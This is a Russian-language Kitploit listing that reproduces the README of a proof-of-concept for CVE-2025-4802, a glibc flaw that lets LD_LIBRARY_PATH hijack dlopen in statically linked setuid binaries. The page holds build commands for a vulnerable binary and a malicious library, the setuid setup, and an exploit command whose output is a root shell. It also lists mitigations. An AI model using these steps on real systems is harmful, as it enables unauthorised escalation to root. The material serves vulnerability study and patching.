Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-4802-Proof-of-Concept

Доказательство концепции для статически скомпилированного setuid-бинарного файла, уязвимого к dlopen через LD_LIBRARY_PATH

Репозиторий
2157 месяцев назадЕщё не проверено

CVE-2025-4802 — Подтверждение концепции (PoC)

⚠️ Отказ от ответственности: Этот репозиторий предназначен только для образовательных и санкционированных исследований в области безопасности. Не используйте эту эксплойтацию против систем, которыми вы не владеете или на тестирование которых не получили явного разрешения. Неправильное использование может нарушать законы и нормативные акты.

Краткая информация о CVE

ПолеПодробности
Идентификатор CVECVE-2025-4802
Уязвимое ПОGNU C Library (glibc)
Затронутые версии2.27 – 2.38
Тип уязвимостиПовышение привилегий через ненадёжный LD_LIBRARY_PATH
Вектор атакиЛокальный

Описание

Уязвимость в GNU C Library (glibc) версий с 2.27 по 2.38 позволяет злоумышленнику использовать переменную окружения LD_LIBRARY_PATH в статически скомпилированных setuid-бинарниках, которые вызывают dlopen().

Обычно динамический компоновщик очищает LD_LIBRARY_PATH для setuid-программ. Однако статически скомпилированные бинарники обходят динамический компоновщик полностью, поэтому LD_LIBRARY_PATH не очищается. Когда такой бинарник вызывает dlopen() (напрямую или косвенно через setlocale() или NSS-функции, такие как getaddrinfo()), glibc разрешает общие библиотеки, используя управляемый злоумышленником LD_LIBRARY_PATH, что позволяет выполнить произвольный код с повышенными привилегиями.

Принцип работы

  1. Статически скомпилированный setuid-root бинарник вызывает dlopen("myso.so", ...) для загрузки общего объекта по имени (не по абсолютному пути).
  2. Поскольку бинарник скомпилирован статически, динамический компоновщик (ld-linux.so) не запускается, поэтому LD_LIBRARY_PATH не очищается.
  3. Злоумышленник создаёт вредоносный общий объект (myso.so), который экспортирует тот же символ hello(), но вместо этого запускает root-оболочку.
  4. Злоумышленник устанавливает LD_LIBRARY_PATH так, чтобы он указывал на каталог, содержащий вредоносную библиотеку.
  5. При запуске setuid-бинарника он загружает библиотеку злоумышленника вместо легитимной, выполняя произвольный код от имени root.

Структура репозитория

root@kitploit:~
.
├── main.c                          # Исходный код уязвимого setuid-бинарника
├── myso.c                          # Легитимный общий объект (безопасный)
├── evil_library/
│   └── evilso.c                    # Вредоносный общий объект (запускает root-оболочку)
├── proof_of_concept_screenshot.png # Скриншот терминала с эксплойтом
├── proof_of_concept_video.mp4      # Видео-демонстрация
├── Makefile                        # Автоматизация сборки
└── README.md

Предварительные требования

  • ОС: Fedora 39 (или любой дистрибутив Linux с уязвимой версией glibc)
  • Версия glibc: 2.27 – 2.38 (проверить командой ldd --version)
  • Пакеты: gcc, make
  • Доступ root для установки setuid-бита

Шаги по воспроизведению

1. Сборка всего

root@kitploit:~
make all

Или вручную:

root@kitploit:~
# Сборка легитимного общего объекта
gcc -shared -o myso.so -fPIC myso.c

# Сборка уязвимого бинарника (статическая линковка)
gcc -static -o main main.c -ldl

# Сборка вредоносного общего объекта
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Установка setuid-бита (требуется root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Обычный запуск (безопасное поведение)

root@kitploit:~
./main

Ожидаемый вывод:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Эксплуатация с помощью LD_LIBRARY_PATH (вредоносное поведение)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Ожидаемый вывод:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Бинарник загружает myso.so злоумышленника из evil_library/ вместо легитимного, что приводит к запуску root-оболочки.

Подтверждение концепции

Скриншот подтверждения концепции

Также доступна видео-демонстрация: proof_of_concept_video.mp4

Меры по смягчению

  • Обновите glibc до исправленной версии (> 2.38)
  • Избегайте статической линковки для setuid-бинарников, использующих dlopen()
  • Используйте абсолютные пути в вызовах dlopen() вместо простых имён библиотек
  • Снижайте привилегии перед вызовом dlopen()
  • Используйте флаги усиления компилятора/линковщика и избегайте setuid, где это возможно

Ресурсы

  • NVD — CVE-2025-4802
Скачать инструмент